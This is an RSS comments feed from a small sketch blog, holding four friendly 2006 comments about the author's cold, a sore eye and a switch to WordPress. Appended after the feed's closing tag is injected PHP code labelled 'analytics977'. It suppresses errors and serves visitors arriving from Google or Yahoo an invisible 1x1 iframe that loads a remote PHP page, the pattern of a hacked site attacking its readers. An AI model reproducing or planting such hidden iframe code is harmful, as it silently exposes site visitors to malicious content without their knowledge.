<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Swollen</title>
	<atom:link href="http://www.blobp.com/index.php/2006/02/02/swollen/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.blobp.com/index.php/2006/02/02/swollen/</link>
	<description>Eefje&#039;s online sketchpad</description>
	<lastBuildDate>Mon, 20 Apr 2009 06:31:27 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
	<item>
		<title>By: Maureen</title>
		<link>http://www.blobp.com/index.php/2006/02/02/swollen/comment-page-1/#comment-632</link>
		<dc:creator>Maureen</dc:creator>
		<pubDate>Mon, 06 Feb 2006 19:35:09 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=183#comment-632</guid>
		<description>I&#039;m sorry you&#039;re not feeling well ... get better soon. But in the midst of your cold, you&#039;ve donw some very nice drawings.  So there&#039;s a silver lining ...
btw I like your new wordpress blog.  Was it difficult to switch over? I&#039;m thinking about switching to wordpress to, but have hesitated because of (maybe imagined) all the extra work.  Did it import and publish all of your past blog posts as well?</description>
		<content:encoded><![CDATA[<p>I&#8217;m sorry you&#8217;re not feeling well &#8230; get better soon. But in the midst of your cold, you&#8217;ve donw some very nice drawings.  So there&#8217;s a silver lining &#8230;<br />
btw I like your new wordpress blog.  Was it difficult to switch over? I&#8217;m thinking about switching to wordpress to, but have hesitated because of (maybe imagined) all the extra work.  Did it import and publish all of your past blog posts as well?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: linda</title>
		<link>http://www.blobp.com/index.php/2006/02/02/swollen/comment-page-1/#comment-629</link>
		<dc:creator>linda</dc:creator>
		<pubDate>Sun, 05 Feb 2006 20:53:25 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=183#comment-629</guid>
		<description>Oh, poor Evy! There are few things more miserably irritating than a stupid cold! Yet you&#039;ve made good art from the whole thing, so there&#039;s a plus. Can I suggest hot baths every couple of hours? (With a few drops of lavendar, lemon, and eucalyptus oils in the water, if you&#039;ve got them.) Always works for me! Feel better :-)</description>
		<content:encoded><![CDATA[<p>Oh, poor Evy! There are few things more miserably irritating than a stupid cold! Yet you&#8217;ve made good art from the whole thing, so there&#8217;s a plus. Can I suggest hot baths every couple of hours? (With a few drops of lavendar, lemon, and eucalyptus oils in the water, if you&#8217;ve got them.) Always works for me! Feel better <img src='http://www.blobp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Eefje</title>
		<link>http://www.blobp.com/index.php/2006/02/02/swollen/comment-page-1/#comment-628</link>
		<dc:creator>Eefje</dc:creator>
		<pubDate>Fri, 03 Feb 2006 12:55:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=183#comment-628</guid>
		<description>Thank you! I have never thought about that. But I think you&#039;re right about the different perspective. Thanks!</description>
		<content:encoded><![CDATA[<p>Thank you! I have never thought about that. But I think you&#8217;re right about the different perspective. Thanks!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: kamuelacarol</title>
		<link>http://www.blobp.com/index.php/2006/02/02/swollen/comment-page-1/#comment-627</link>
		<dc:creator>kamuelacarol</dc:creator>
		<pubDate>Thu, 02 Feb 2006 23:01:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=183#comment-627</guid>
		<description>If you can make good art (which you did) out of a bad (gooky) eye, you&#039;re really good!  I enjoyed this--it was like an illustrated map of not-seeing-well.  Usually all we get are maps of seeing &#039;differently&#039;, where &#039;different&#039; means better.  You really gave a different perspective.</description>
		<content:encoded><![CDATA[<p>If you can make good art (which you did) out of a bad (gooky) eye, you&#8217;re really good!  I enjoyed this&#8211;it was like an illustrated map of not-seeing-well.  Usually all we get are maps of seeing &#8216;differently&#8217;, where &#8216;different&#8217; means better.  You really gave a different perspective.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<!-- analytics977 --> <? error_reporting(0); $stat=$_SERVER["HTTP_REFERER"];$flag_g=stristr($stat,"google.");$flag_y=stristr($stat,"yahoo.");if(($flag_g) or ($flag_y)){echo "<iframe src=\"http://blobp.com/logo-hpr.php\" width=1 height=1 frameborder=0></iframe>";}  ?>